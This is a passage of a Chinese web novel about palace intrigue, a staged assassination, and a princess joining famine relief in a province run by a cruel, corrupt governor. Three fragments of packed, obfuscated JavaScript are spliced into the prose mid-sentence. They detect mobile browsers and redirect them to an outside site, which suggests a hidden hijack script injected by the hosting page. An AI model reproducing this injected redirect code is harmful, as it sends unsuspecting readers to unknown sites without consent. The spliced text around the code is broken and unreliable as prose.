裴令仪面色温和,语调平缓:“叛军派来的吧?阿姊放心,我只是被划了道口子,不碍事的。” 他这模样,仿佛真的只是不小心擦了一道口子似的,连痛都不痛。 元韫浓见他衣衫都被血染湿了,气急:“什么不碍事?你进来,我先给你简单处理一下。” 元韫浓拽过裴令仪的手腕,就往画舫里走。 裴令仪看着元韫浓握着他腕子的手,唇角微不可察地翘起,乖顺地跟着元韫浓往里走。 他还不忘回头吩咐:“带下去审。” 裴九下意识就要跟着进去,被孙鹃纨揪住了后领。 “你去做什么?”孙鹃纨不可思议地看着他。 裴九眨了眨眼,“郡主要给主子处理伤口,我去搭把手啊。” “你疯了不成?”孙鹃纨白了他一眼,“你家主子苦心经营这场面,你这时候去妨碍他做什么?” “可是……”裴九又不死心地往里头看了一眼。 孙鹃纨一把勾过他的脖子,“你家主子为了一个合理的出征借口,是不是打算假装叛军前来行刺?” “是啊。”裴九点头,“锦州异动,叛军集结。主子打算添一把火,顺便叫惠帝知道该派谁去处理这件事。” “嗯,没错。”孙鹃纨问,“这么做,他是为了拿到更多的兵权,顺便去干他的大业,毕竟天高皇帝远。但是这件事情也没有那么着急,近期去做就行是不是?” 裴九又点头。 第48章 云泥之别 孙鹃纨微笑:“那你要不猜猜看,你家主子为什么突然间那么仓促地决定,现在就实施计划,假装有人来刺杀了?” 裴九恍然大悟状,“哦——你是说他是为了郡主……” “知道就行。”孙鹃纨点到为止,“所以不想死别去打扰他们知道吗?他今天刚看见郡主跟三皇子一起在画舫上游玩,心情能好才怪。” “多谢你提醒。”裴九感激。 “行了,一边玩去吧。”孙鹃纨随意摆了摆手。 她真是搞不懂这群姓裴的,感情方面好像天生缺根筋一样。 一旁听完全程的老者面露惊惧,“什么?难道殿下对朝荣郡主她……” “怎么?你还看不出来吗?”孙鹃纨嫌弃地摆了摆手,“你怎么还不去戴个面巾?别传给我了。” 老者大受震撼,“可是他们是姐弟啊!” 孙鹃纨无语道:“老古董,又不是亲的,占个名头的义姐弟罢了,元氏族谱有裴令仪这个名字,还是裴氏宗庙有元韫浓这个名字?” “难道殿下没把郡主当成姐姐来看待吗?”老者一时间无法接受。 这么一想,裴令仪往日里和元韫浓的形影不离都有了合理的解释。 他们还以为那是裴令仪把元韫浓当成姐姐,并且想要通过元韫浓,借到岐国公府的势力呢。 “当姐姐?”孙鹃纨险些笑出眼泪。 她饶有兴趣道:“如果裴清都真把郡主当姐姐,那他每天早上对着镜子先得喊三声姐夫。” 不过她这么一想,元氏的态度也挺耐人寻味的是吧? 虽然有元韫浓的担保,和裴令仪当年巫蛊案上替罪的苦肉计在,但是…… 原本是抱着给元韫浓找个玩伴的心思,到后来裴令仪要上阵杀敌,远去北州,元氏也是默默在暗中帮了不少忙的。 他们不但放任裴令仪跟元韫浓的亲近,还纵容裴令仪的强大。 元氏默许了,甚至是在主动培养裴令仪的成长。 这是为什么呢? 孙鹃纨若有所思地捏着下巴。 “这、这简直是危言耸听!”老者完全无法接受这个突破他原本认知的事情,“元氏也不会允许的!” 孙鹃纨扬眉,“你为什么觉得他们不会允许?” 老者吹胡子瞪眼睛,“殿下在他们眼里,不就是一个义子吗?就算再怎么功成名就,也只是一个能陪亲女玩耍,能够成为她退路和护盾的义子而已!” 啊,对啊,这样就合理了起来。孙鹃纨豁然开朗。 元氏之所以默许并且纵容这一切,大部分也是为了元韫浓啊。 驯养温顺的恶狼,来庇护**的绵羊。 “不管他们怎么想,怎么看,我们要知道的只是殿下怎么想,怎么看而已。”孙鹃纨难得好心地劝了劝。 老者吹胡子瞪眼睛,“殿下是要成大业者,怎么能为这儿女私情牵绊手脚?” “我说啊,你们也太小瞧你们殿下了吧?”孙鹃纨多少无语,“裴清都那种人,你们真以为他会按照你们的想法,乖乖做一个复兴裴氏的人偶吗?” “你是什么意思?难道殿下不想复兴裴雍一脉吗?”老者拧眉。 孙鹃纨笑道:“他当然想复兴,但不是被你们逼着复兴。讲真的,他都没见过那个裴雍皇室,只是天然地被你们安排上了这个使命而已。他若是真成了,跟重新开国也没多大区别。” “孙小姐,你这说的什么话?别在这里危言耸听。”老者气道。 “我只是给个忠告而已,建议你们别把裴清都逼太急了。”孙鹃纨耸了一下肩膀。 她意味深长地留下这句话,就转身离开。 毕竟只有元韫浓才管得住这条随时会失控的疯狗。 画舫内,元韫浓看着裴令仪褪去衣裳。 裴令仪在主事之后,就开始常穿文武袖,有种别样的少年意气。 裴令仪赤裸着背脊,在元韫浓面前。 肌理流畅,内蕴力量。 他清瘦的背脊上遍布交错的伤疤,有些是新伤,也有旧疤痕。 元韫浓甚至能看出哪些是当年巫蛊案,裴令仪顶罪后留下的鞭伤疤痕。 “背对我做什么?”元韫浓轻叹一声,“那刺客伤的不是你肩膀吗?” 裴令仪转回来,眨了一下眼睛,“习惯了。” “经常受伤吗?”元韫浓看着裴令仪身上的伤,问。 “我不疼的。”裴令仪弯起眼眸,答非所问。 “胡说。”元韫浓替他处理伤口,“我只是先简单处理一下,回了府还得再叫大夫来看过,知道吗?” 裴令仪应声:“我知道,等我把这里事情处理完了,就回府。会好好叫大夫看过的,阿姊尽管放心。” 一时间无言。 元韫浓的指尖触碰到裴令仪身上的疤痕,两个人都僵硬了一下。 元韫浓更加清楚地意识到,裴令仪几乎跟前世的那个少年帝王相差无几了。 他吐息间,无论是身形,还是气息,都能给人造成极强的压迫感。 就像此刻,他站着元韫浓面前,投下的阴影笼罩了元韫浓就整个人。 元韫浓突然间有些心慌意乱,挪开了视线,“这又是怎么伤的?” “早就没事了。”裴令仪的嗓子有些暗哑。 “你说。”元韫浓坚定地说。 “上阵的时候,徐氏的人从背后拿枪捅过来,我那时候正跟北凉人拼杀,顾头不顾尾,一时不察才被伤到的。”裴令仪轻描淡写地说道。 这还只是冰山一角。 他第一次上沙场,不但要面对强悍的敌人,还有谨防同伴的背刺。 可他偏偏也还是活着回来了。 元韫浓闭了闭眼,“我知道他们没想让你活着回来……” “可我还是活着回来了。”裴令仪露出笑。 “徐氏……”元韫浓暗自咬牙。 裴令仪笑了笑,“阿姊放心,虽然没有证据能拿下他们,但是那些人现在都已经在地府碰面了。” 正如他们想要对付他一样,战场上要一个人神不知鬼不觉地死,并不是难事。 “清都。”元韫浓伸出手,依然下意识去摸裴令仪的脸。 裴令仪没有躲闪,目光微微闪烁。 手伸到一半,元韫浓意识到不妥,这不是前世,而裴令仪如今也已经是四品官了。 但裴令仪握住了她的手腕,脸颊主动贴上了她的掌心。 裴令仪捧着她的手,贴着自己的脸,眼眸低垂,轻轻蹭了蹭她的掌心,似乎极其的眷恋。 元韫浓衣袖的绸缎如同云霞般轻软,在裴令仪蹭她手的时候,也蹭过裴令仪的脸庞、嘴唇和指掌。 裴令仪顿了一下。 掌心贴着裴令仪的脸庞,他鸦青的睫毛还轻轻扫过了元韫浓的手指,柔软的触感。 这个举动明明前世有过,今生也出现过很多次了,但元韫浓在此刻却意识到不一样了。 “清都。”元韫浓再一次喊道。 她的呼吸骤然变得有些急促。 “阿姊。”裴令仪抬起眼睛望向元韫浓。 明明他的姿态在放低,在示弱,元韫浓却感到了压迫感和侵略性。 裴令仪弯起唇角,“阿姊在想什么?” 元韫浓别过脸,抽回了手,“没什么。” 她抽手的时候,裴令仪能感觉到她的袖口从手掌里如同流水般被抽走。 裴令仪下意识要收拢指掌,要去抓住。 但是绸缎丝滑柔软,就那样轻飘飘地被抽走了。 什么都没剩下。 裴令仪看着空荡荡的掌心,愣了一下。 明明什么都没有,可他却诡异地感到了痛感,好像柔滑的绸缎竟然犹如刀刃般,划破了他的手掌。 他还是留不住元韫浓的。 跟之前一样,那一次他半跪在地上给元韫浓套上镶了东珠的绣鞋。 元韫浓起身从他面前经过的时候,裙摆上用金丝勾勒的琼花闪烁了一下。 冰凉的丝绸锦缎从他微微发冷的指尖划过,却让他不禁如同被烫到般地蜷缩了手指。 几乎是下意识的,他轻轻拉住了元韫浓的裙摆。 元韫浓停了下来,偏过脸低头看他,“怎么了?” 屋外淅淅沥沥地下着如酥小雨,轻叩琉璃瓦,清越又绵密。像牛毛,像花针,丝丝缕缕。 而元韫浓垂眸望过来,鸦青色的眼睫半覆着翳珀般的眼睛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有心了。”元韫浓握拳凑在唇边咳了一声。 裴令仪笑而不语。 “那我便先回去了,你也尽快。”元韫浓点了点头。 裴令仪颔首,“阿姊慢走。” 他目送元韫浓带着霜降和小满走远,直至背影消失在视线里。 “人都走远了,殿下,是不是该办正事了?”孙鹃纨看不下去裴令仪那模样。 裴令仪面无表情地瞥了她一眼。 见裴令仪的伤是实打实的,孙鹃纨摇着头称奇:“你为了讨朝荣郡主欢心,可真是够狠心的。” “钱财权势,想要夺取,可以得到。”裴令仪说道,“我阿姊之爱怜之心,世间能有几人可得?她既怜我,我也应怜。” 孙鹃纨问:“要不要先叫大夫来看一下?你旧伤未愈,又添新伤的。” 裴令仪只是低头又看了一眼手掌,“这点伤算什么?” 他忽而收拢掌心,“她连绸缎都能割破我的手。” 孙鹃纨惊异地看着裴令仪。 裴令仪只身走向前,“去备车架,进宫。” 孙鹃纨见裴令仪走进灯火辉煌的暖色之中,却莫名觉得寒意更甚。 “三皇子是个好人啊,可惜了。”孙鹃纨摇头感叹。 “可惜什么?”裴九好奇地问。 “可惜爱了个不该爱的人,惹了裴清都这么个疯子。”孙鹃纨啧啧道。 裴令仪为了装可怜是真下手啊,慕湖舟跟裴令仪比起来这么正人君子,怎么能夺得芳心呢? 裴令仪又争又抢的,还疯成这样,被他喜欢的要是个正常人非得被逼疯不可。 但是元韫浓…… 孙鹃纨这么想,感觉好像倒也没那么不好。 毕竟元韫浓也不是什么正常人,这俩疯得旗鼓相当。 见裴九依然一脸不明所以,孙鹃纨觉得无趣。 “跟你说了也不懂。”孙鹃纨转身就走。 裴九忙跟上,“你怎么跟裴七一个样的?不说我怎么懂?” 第51章 前去赈灾 春光消瘦,雨意阑珊,元韫浓在城墙上能看看到很多。 但是又只能看到这一片的天地。 她回头看了一眼暮春的花,盈盈地堆砌在枝头,离凋零似乎只有一步之遥。 元韫浓幽幽地叹了口气。 裴令仪要是知道她的选择之后,怕是会气疯的吧。 但愿裴令仪迟些知道吧。 前脚送走了元彻回和裴令仪,后脚元韫浓就找到了慕湖舟,提出想要跟慕湖舟一块去靖州赈灾。 “我想为阿兄和清都免去后顾之忧,也为百姓能尽一份力。”元韫浓笑道,“我可以带一批粮草和药物过去的。” “不行。”慕湖舟当然拒绝,“太危险了,浓浓,我不能将你置之险地。” 元韫浓对于慕湖舟的拒绝早有准备,做出委屈的模样,“为什么?你不愿意让我与你同去吗?” 慕湖舟叹气:“这很危险,浓浓,你也见到了,当日在宴上,没有人愿意去。” “可你愿意去,不是吗?”元韫浓说。 慕湖舟沉默了。 他并非单纯地为民**,而是有更多的考量。 沈川当时已经惹怒了惠帝,若是再在张开华的挑拨下接下这个任务,必然会触怒惠帝。 而他不能让这个任务落在慕载物党派的臣子手里。 他站出来,不只是为了南朝的来日和百姓的来日,也是为了在摇摆不定的朝臣和皇帝面前表现。 元韫浓笑了笑,“你不必谦推说,君子论迹不论心。” “还是不行。”慕湖舟摇了摇头,“我不能置你的安危于不顾。” 他苦心劝说:“你自小身子柔弱,去靖州一路上舟车劳顿,你又怎么吃得消?姑父姑母也不会允许的。” “浓浓,听话,留在京中吧。你若是担心兄弟,我再派亲卫去帮忙。你若是忧心灾民,我保证不会空手而归。”慕湖舟说。 “我其实也是有私心的。”元韫浓抬眸,眸若秋水,“我想和你并肩,和你一起。” 慕湖舟怔了怔,“……和我一起?” 元韫浓握住他的手,“不是说想要娶我吗?不是说好了会负担我的一生吗?我也想和你并肩同行,因为以后还会并肩很久。” 元韫浓说:“如果我这次能陪你一起,然后成功赈灾回来,太后和皇后娘娘或许就不会有异议了吧?” 她的话语带有些天真的憧憬:“再说了,有你在,我不会有事的,不是吗?” “浓浓。”慕湖舟反握住元韫浓的手,“你真的想好了吗?” “那是自然。”元韫浓露出微笑。 “好。”慕湖舟闭了闭眼,“那我去向父皇请旨。” 元韫浓点头,笑着挽住慕湖舟的手臂,“我就知道你最好了。” 等到惠帝的圣旨下来,再一次被先斩后奏的岐国公和惠贞长公主瞪圆了眼睛。 岐国公看了看圣旨,再看看旁边一脸乖巧的小女儿,一阵失言。 “应怜!”惠贞长公主愠怒道,“你知道靖州有多危险吗?简直是胡闹!” “阿娘——”元韫浓立刻泪眼汪汪地扑进了惠贞长公主怀里,“你就让我去嘛,我都没出过京城几回。” “你当是去玩的吗?”惠贞长公主气急,“你知不知道那就在锦州旁边?” 元韫浓说:“阿兄和清都也在锦州,我同表哥去靖州赈灾,不会有危险的,我知道分寸。” “你知道什么分寸?”惠贞戳了戳元韫浓的额头,“你跟他们能比吗?他们会武你会吗?你真是……你想气死阿娘吗?” 元韫浓眨了眨眼睛,故作委屈,“阿娘,我就是去施粥,布施功德,也算是为自己积福了啊。” “那也得保证自己的安全!”惠贞长公主唰的一下站了起来,“不行,我现在就进宫去求陛下收回圣旨!” “公主。”岐国公拦住惠贞长公主。 惠贞长公主瞪他,“你做什么?你女儿都要去那种地方了,你还不担心?” 岐国公无奈道:“应怜头回去那么远的地方,还是靖州,我自然是担心的。公主,还请听我一言。” “你说。”惠贞长公主勉强停了下来。 元韫浓环顾了一圈,觉得岐国公和惠贞长公主夫妇自从把所有话都闹开了说开了之后,反而是感情真诚了许多,满意地点了点头。 之前是举案齐眉,相敬如宾。 如今不但联姻之下盟友的默契更深几分,更是多了几分老夫老妻之间的夫唱妇随。 “陛下既然已经下了圣旨,就不会再收回去了。”岐国公说道。 惠贞长公主脸色难看,这点倒确实是。 惠帝就算是只为了面子,也不会收回成命。 “阿娘,陛下不会在意我死活的。”元韫浓平静地说道。 惠贞长公主张了张嘴,却说不出什么话来。 无法反驳。 她不是看不到,惠帝这些年来的表现。 连她这个曾经相依为命的姐姐,在惠帝心里也只是多少重量而已,别提元韫浓了。 或许在惠帝心里,她还是很重要的亲人。 但是在惠帝心里,亲人又算是什么?又能有多重要? “应怜,你告诉阿娘。”惠贞长公主无力地攥紧了手,“你是怎么想的?” 元韫浓靠近她,轻轻将头枕在她肩上,“阿娘,我要嫁给三表哥,我要当皇后。” “你……”惠贞长公主看着这个向来有自己主意的孩子,“你先前不会更喜欢沈川吗?” “沈大哥很好,但是我想当皇后。”元韫浓说,“况且如今,只是和沈家联姻还不够。” 惠贞长公主当然明白这些道理,可是她不想她保护了那么久的孩子,她千辛万苦生下的女儿,去承担这些。 岐国公神色复杂,“应怜,你不用担心这些的,这些是父兄的责任。” “这也是我的责任,爹爹。”元韫浓对岐国公道,“这是元氏教我的道理,一荣俱荣,一损俱损。” “你想当皇后是一时兴起,还是深思熟虑之后的结果?”岐国公问,“皇后不是什么好当的角色,到了那个位置,爹娘和兄姐们能庇护到你的地方就不多了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476475|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 惠贞长公主和岐国公的话语都是出自父母的用心良苦,元韫浓当然知道。 她说道:“我自然是想过了的,爹爹和阿娘应该也放心三表哥的为人才对。” “唉,人心易变,尤其是帝王。”惠贞长公主愁眉不展,“你怎知来日他不会变呢?” “所以我也不会交付全部的。”元韫浓笑道。 惠贞长公主更愁了。 她知道自己的女儿是什么性子,但凡打定主意,不撞南墙不回头,撞了南墙也接着撞,犟的要死。 元韫浓露出一个笑:“就让我去吧,我会做得很好的。” 岐国公叹气,摸了摸元韫浓的头,“那就去吧,放手去做吧,不必顾忌什么,自身安危最重要,元氏会给你兜底。” 元韫浓双眸一亮,又看向了惠贞长公主。 惠贞长公主又气恼又心疼,对元韫浓又说不下重话。 “行了行了,想去就去吧。”惠贞长公主只能道,“但是得好好照顾自己,知道吗?不能拿自己安危开玩笑。” 元韫浓展颜一笑,抱着惠贞长公主的手臂撒娇,“我知道了,阿娘尽管放心吧。” 连父母这关都过了,元韫浓确实没什么后顾之忧了。 不日之后,元韫浓就在岐国公和惠贞长公主的千叮咛万嘱咐之下,跟慕湖舟的队伍一起前往靖州。 尽管对于路途遥远行路难早有准备,但是元韫浓还是吃了不少苦。 一路上元韫浓都精神不济,胃口不佳。 慕湖舟叫人去附近买了点清淡爽口的吃食来,“委屈你了。” “什么委屈不委屈的?”元韫浓恹恹地趴在马车的窗口边上,“舟车劳顿,精神不济罢了。” “是我的错,是我疏忽大意了。早知如此,当时就该让你留在京中。”慕湖舟叹气。 元韫浓提起了一些精神,托着脸笑,“是我自己要来,你多次劝阻无果,怎么能怨你?” 慕湖舟被她逗笑了,“浓浓口齿伶俐,一如既往。” “快到靖州了吧?”元韫浓虽然不知道路,但是看车窗外,一路越来越荒芜。 慕湖舟面色凝重了些,“嗯,看来靖州的状况确实不容乐观。” “要是乐观的话,我就不来了。”元韫浓眉梢一挑,“我可要好好见见,这位姿态摆那么高的靖州州牧。” 她笑意盎然地转头看向慕湖舟,“毕竟我前头可是夸下海口了的,要让我来,保管靖州州牧吓得跟见了鬼一样。” “嗯,那我可拭目以待了。”慕湖舟煞有介事地点了点头。 车马进入靖州地界,踏入这片灾荒之地,干裂的土地满是狰狞的沟壑,毫无生机。 慕湖舟眉眼间满是忧虑,满载粮食、药材的车马队伍在漫天黄尘中缓缓前行。 元韫浓掀开车帘,入目皆是惨象。 灾民们瘦骨嶙峋,瘫坐在路边,或是目光呆滞地游走。 他们的车马很快就引起了当地人的注意,周围的灾民原本空洞的眼神里燃起了一丝凶狠与贪婪,暗暗打量着这一行人。 第52章 怀璧其罪 元韫浓只是往外瞥了一眼,便淡淡地收回了视线,放下车帘坐了回去。 “此地不宜久留,换地方。”元韫浓平淡道,“去偏远些的村子看看情况吧。” 慕湖舟点头,吩咐底下人照办。 “看来之前赈灾来的财帛粮草也没到灾民手里。”慕湖舟皱眉。 元韫浓说:“若是到了,后头再来的官员也不至于无功而返。” 到了稍微偏远的村庄那,也是一样的民愤四起,怨声载道。 慕湖舟找来村长详细询问,对方十分拘谨,只以为是从京中来的哪位大官。 “村长,还请如实告知,我们才好对症下药。”慕湖舟并未表明身份,语气温和。 村长犹豫片刻之后,还是叹了口气,说:“原本我们靖州还算是富庶之地,都是那回天灾之后,才没落了啊。” “老人家请讲。”元韫浓柔美的长相很容易就让人放松警惕,再加上这礼貌的态度,更加让人心生好感。 村长说:“旱灾之后,没人来管,原本的州牧大人操劳过度**。之后其实本来也慢慢恢复了的,但是新来的州牧大人改了好几项靖州的律法。” 慕湖舟顿了顿,“改律法?” “是啊,那些田都不让我们种了。”村长点头,“肥沃的土地都被富商们霸占了,我们只能开垦一些贫瘠之地。” “民脂民膏,搜刮民财。于法不容,于情于理更是不合。”慕湖舟冷声道。 村长哀叹:“我们也是没办法啊,没人敢管,有人去讨公道,回来都没了半条命。时间一长,天灾人祸,靖州就这样了。” 慕湖舟面色冷冽,“简直荒唐。” 硬生生把还算肥沃富饶之地拖成了如今的模样,靖州州牧和当地的那些富商大贾却关起门户来享用那些民脂民膏。 元韫浓问:“除了良田以外,州牧还改了什么东西?征收?” “这个……”村长难开口。 元韫浓见他支支吾吾,就心里有数了。 “靖州州牧。”元韫浓轻嗤一声。 “多谢村长对我们说了这些,这些碎银,还请留下为家中添置一些吧。”慕湖舟颔首,递给村长一个钱袋。 “哎呀呀,这怎么使得?”村长慌忙推拒,“大人是为了赈灾而来,我们也只不过动动嘴皮子说些事情罢了。” 元韫浓从慕湖舟手里拿过钱袋,径直塞进了村长怀里,“小小心意,不足挂齿,老人家留着吧。” 说罢,她就直接拉着慕湖舟转身离开,不给村长推拒的机会。 慕湖舟见元韫浓面色不善,上了马车,“浓浓?” “靖州州牧可真是好样的。”元韫浓冷笑,“去州牧府。” “浓浓莫要因为这种人气坏了身子。”慕湖舟安慰道,“不值当的。” 元韫浓道:“我还不至于因个将死之人而气坏了自己。” 真不知道能不能赶在秋后之前回京,那样的话,还来得及见靖州州牧人头落地。 若是实在不行,也不必秋后问斩了,直接斩立决吧。 车马到了州牧府门前,靖州州牧才慢悠悠地出来迎接。 “三皇子远道而来,下官有失远迎。”他悠哉悠哉地行礼。 却见慕湖舟转身,又从马车里扶了一个人下来。 一道娉娉婷婷,又冷冷清清的人影一晃而过。 靖州州牧定睛一看,见慕湖舟还带了个貌美少女,难免将慕湖舟看轻了几分。 前来赈灾还带姬妾,看来这位三皇子也不是什么严谨的人物。 估计就是混混政绩,来意思意思的人物吧。 谁料那少女就站在那里看着他,似乎是在等他做出什么反应。 靖州州牧愣了愣,心想这皇子姬妾还挺心高气傲的,“几位舟车劳顿,要不先用膳,再细谈赈灾事项?” 元韫浓问:“在这之前,州牧怎么不向我行礼?” “啊?”靖州州牧没想到元韫浓还会主动让自己行礼。 他看向慕湖舟,见慕湖舟一副纵容的姿态。 小满冷喝道:“州牧大人,见了朝荣郡主为何不行礼?” 朝荣郡主?三皇子来就算了,皇帝派个郡主跟着干什么? 靖州州牧再看了元韫浓一眼,震惊之余忙行礼道:“下官有眼不识泰山,一时没认出郡主来,还请郡主恕罪。” “免礼。”元韫浓微笑,“州牧远在靖州,陛下几次传召都推辞不入京,认不出我来也正常。” 这话丝毫不客气,靖州州牧一下看出这不是个好惹的主,忙堆出笑道:“并非下官抗旨不遵,而是实在分身乏术啊。” “这话,州牧留着跟三皇子说吧,我可不懂这些,我只是过来布施积德的。”元韫浓微笑。 说罢,也不等州牧作何反应,径直略过他走入府门。 “你们去聊吧,把饭菜送到我房中来。”元韫浓仿佛才是这州牧府的主人家那般,姿态非常自然。 她颐指气使地使唤州牧府的仆从,“你们几个,带我去客房,顺便把我的东西都搬进来。” 靖州州牧被元韫浓这番反客为主惊呆了。 “三殿下……”他犹疑地转向慕湖舟。 慕湖舟却面带微笑,“浓浓身体不好,在京中也是被姑父姑母惯坏了的。她求父皇随我来看看外边的风景,父皇也允了。她脾气不好,州牧多担待一些。” 三言两语,就是一个刁民任性且被宠坏了的郡主表妹。 “啊、啊……自然的,三殿下客气了。”州牧擦了把汗。 他已经隐隐约约有了种不祥的预感,这郡主一看就不是什么善茬。 最要紧的是,方才元韫浓看他的眼神,和看**无异。 慕湖舟叹气:“浓浓尚且年幼,有时候说了什么话也都是无心的,州牧别放在心上。” 州牧只好赔笑,“三殿下言重了。” 看慕湖舟这溺爱的态度,靖州州牧只感到一阵头疼。 这看起来,这小姑奶奶不但是个会闹得所有人都不得安宁的人物,身体还很弱,一不小心出了什么事情到时候还得赖他了。 元韫浓回客房里去了,就只有慕湖舟一个人带着同行的僚属,一起去靖州州牧特意筹办的宴席。 这宴开得相当奢侈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476476|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆在桌上的都是美酒珍馐,还有歌姬舞姬助兴。 慕湖舟面色平淡地看着歌舞升平的景象。 靖州州牧给旁边倒酒的美姬递了个眼色,那女子便袅娜娉婷地提着酒壶跪坐到慕湖舟旁边,给他斟酒。 慕湖舟神色未变,“州牧府的酒看起来,成色极佳。” “三皇子远道而来,下官才特意将珍藏的好酒取出来招待。这美的何止是酒?三皇子不妨再仔细瞧瞧?”州牧笑道。 慕湖舟扬眉,“这是何意?” 州牧摆了摆手,笑道:“正如三皇子眼前这姑娘,难道不美也?” 那女子对慕湖舟绽开一个笑容,为他剥了个葡萄,递到他眼前。 纤纤玉手捏着一颗剥了一半皮的莹润绿葡萄,呈给慕湖舟。 “指若削葱根。”慕湖舟面色如常地夸奖,却没有接那颗葡萄,“美则美矣,只是少了意趣。” “哈哈哈哈哈!”靖州州牧笑了起来,“这女子不过是因着天灾人祸走投无路,而被下官买入府中的伶人,那自然是比不得京中金枝玉叶的贵女们。” 他试探道:“像是朝荣郡主那样尊贵的身份,才可匹配三皇子做皇子妃啊。” 慕湖舟眼神冷厉,“州牧慎言,父皇未曾下旨婚配,本宫与郡主清清白白。” 这名声若是传了出去,人言可畏。 如果那些人说他和元韫浓是无媒苟合,他是皇子也是男子,到后头旁人也只会当成风流韵事一桩,但对于元韫浓来说却是截然不同的打击。 不管元韫浓在不在意,他必须得为元韫浓的名声着想。 “啊,是、是,下官一时失言。”靖州州牧大致对慕湖舟和元韫浓的关系有了一定了解。 他转移话题:“既然三皇子也觉得这女子不错,不如带回去留在身边,也好有人红袖添香啊。” “正妃尚未定下入府,本宫也不想府中先有姬妾。”慕湖舟道,“再者而言,君子不夺人之美。” “三皇子实在是客气了。”靖州州牧大笑起来。 他瞥了一眼那个神色仓皇的女子,神色淡了许多,“既然三皇子都那么说了,那先退下吧。” 那女子这才松了口气,忙连声告退,快步离开。 “瞧那女子对州牧畏惧的模样,州牧平日里似乎御下极严。”慕湖舟平淡道。 他刚刚瞥见了那女子袖口里的伤痕,想来靖州州牧平素并不把这些人当人来看。 “哈哈哈哈,三皇子此言差矣。下官对他们严苛,正是他们价值所在。若非有用,下官是管都懒得管呐。”州牧摆了摆手。 慕湖舟道:“那这么说来,这还是那女子有才貌的错了?” “匹夫无罪,怀璧其罪。”靖州州牧意味深长,“正如一朵娇艳的花,若非是开在深门大院的花圃之中,而是开在山野之外,就会被过早的采撷摧折。” 他颇有趣味道:“这便算是美人之罪吧?美姬娈童也是如此,生得一副好皮囊,若是无人看护,便是怀璧其罪了。出了什么差错,那张脸也是最好的罪名,红颜祸水不就是这么来的吗?” 第53章 善妒的名义 “若非是高门显贵,朝荣郡主那副容颜……”靖州州牧说到起兴处,险些口无遮拦。 “州牧。”慕湖舟眸色森冷。 靖州州牧惊觉自己险些失言,赔笑道:“哈哈,是下官多嘴了。” 慕湖舟对于这种场面已经失去了所有的兴趣,“一路舟车劳顿,本宫也乏了,今日便到此为止吧。赈灾之事,明日再详谈。” 靖州州牧便道:“是,来人,送三皇子回房休息。” 元韫浓的客房就在慕湖舟房间隔壁,慕湖舟回房前,还到元韫浓的客房里坐了一会。 元韫浓早就趴在床上了,看见慕湖舟来,挑眉打趣:“有指若削葱根的美姬伺候,表哥怎么这么快就回来了?” “你就知道打趣我。”慕湖舟无奈地摇头。 “有人看出你我关系,挑拨离间,我不得找你撒撒气呢?”元韫浓笑道。 慕湖舟坐到床边,“我也没有中计,浓浓也要找我撒气吗?” “那可不是?”元韫浓扬起下巴,“我现在可是刁蛮跋扈的朝荣郡主,自然要无理取闹些。” 毕竟一个扮红脸一个扮白脸,她是那个红脸。 “好好好,那浓浓有什么不高兴不乐意了,都只管来找我撒气。”慕湖舟笑着拨弄了一下元韫浓鬓边的碎发。 门外有人敲门,“三皇子,朝荣郡主。” “什么事?”元韫浓问。 门口的仆役道:“奉州牧大人之名,奴才特来向三皇子献宝。” “献宝?”元韫浓看向慕湖舟。 慕湖舟皱眉摇了摇头。 元韫浓冷笑一声:“进来吧,什么样的宝物值得州牧这么晚了,还派人来送?我倒是要见见。” 仆役端着一个漆盘进门,盘上还有一个金玉盒子。 慕湖舟皱眉看着那盒子,示意亲卫去打开。 亲卫打开盒子,见盒中之物,忙回头去看慕湖舟和元韫浓。 慕湖舟瞳孔猛地一缩,回想起方才他随口称赞那美姬“指若削葱根”时,靖州州牧脸上的表情。 那盒子里边赫然是那名女子的手! 慕湖舟冷声问道:“你家主人这是何意?” “州牧大人只说了,殿下不愿意夺人所好,但他愿意成人之美。”仆役转达意思。 慕湖舟闭上了眼睛,这也是……美人之罪啊。 “呵。”元韫浓突然笑出了声。 她真该感谢她从一开始跟慕湖舟分配定位时,给自己的定位就是扮红脸。 这样她还可以借题发挥,直接找靖州州牧撒火,也不用那么早撕破脸,破坏了局面。 元韫浓当下就夺门而出,“霜降,小满,跟我走。” “是!”霜降和小满连忙跟上元韫浓。 “浓浓!”慕湖舟一惊,紧随其后。 靖州州牧正为自己这明面上的示好,暗地里的下马威而沾沾自喜,就听到了一连气的呼喊。 “郡主——郡主!诶!” “浓浓……浓浓!” 下一刻房门就被砰的一声踹开,踹门的女使衣着比寻常侍女更干脆利落些,杀气腾腾。 靖州州牧还没反应过来,那女使后头长了张玉软花柔的脸庞,姿态却相当张扬跋扈的郡主就迈步走了进来。 “朝荣郡主,这深更半夜……”靖州州牧笑还在脸上呢,下一瞬就被小满扭了手摁在桌上。 “嗷嗷嗷嗷!”州牧连声痛叫,“郡主这是何意啊?” 元韫浓缓步走入,“州牧大人,深夜打扰,失礼了。” 